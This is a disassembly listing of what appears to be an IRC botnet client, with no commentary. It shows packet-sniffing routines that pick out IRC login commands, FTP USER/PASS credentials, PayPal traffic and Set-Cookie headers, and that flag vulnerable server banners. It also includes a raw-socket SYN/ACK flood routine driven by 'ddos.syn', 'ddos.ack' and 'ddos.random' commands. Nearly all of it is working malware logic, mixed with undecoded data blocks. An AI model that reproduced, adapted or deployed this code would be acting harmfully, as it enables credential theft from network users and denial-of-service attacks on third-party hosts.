		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0DED2E856h
		dd 5690022Bh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
		dd 68FFFFFDh, 4357A0h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EB8h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 9468FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 578468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4ECCC504h, 34FF0043h, 434EA885h, 4C858D00h
		dd 68FFFFFDh, 435750h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43572468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AD0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AA0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A6C
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A38
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A04
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359CC

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435994
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0CDE80000h, 900226DAh
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5AFC68FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27709E6h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27709E6h
		mov	eax, [ebp+var_18]
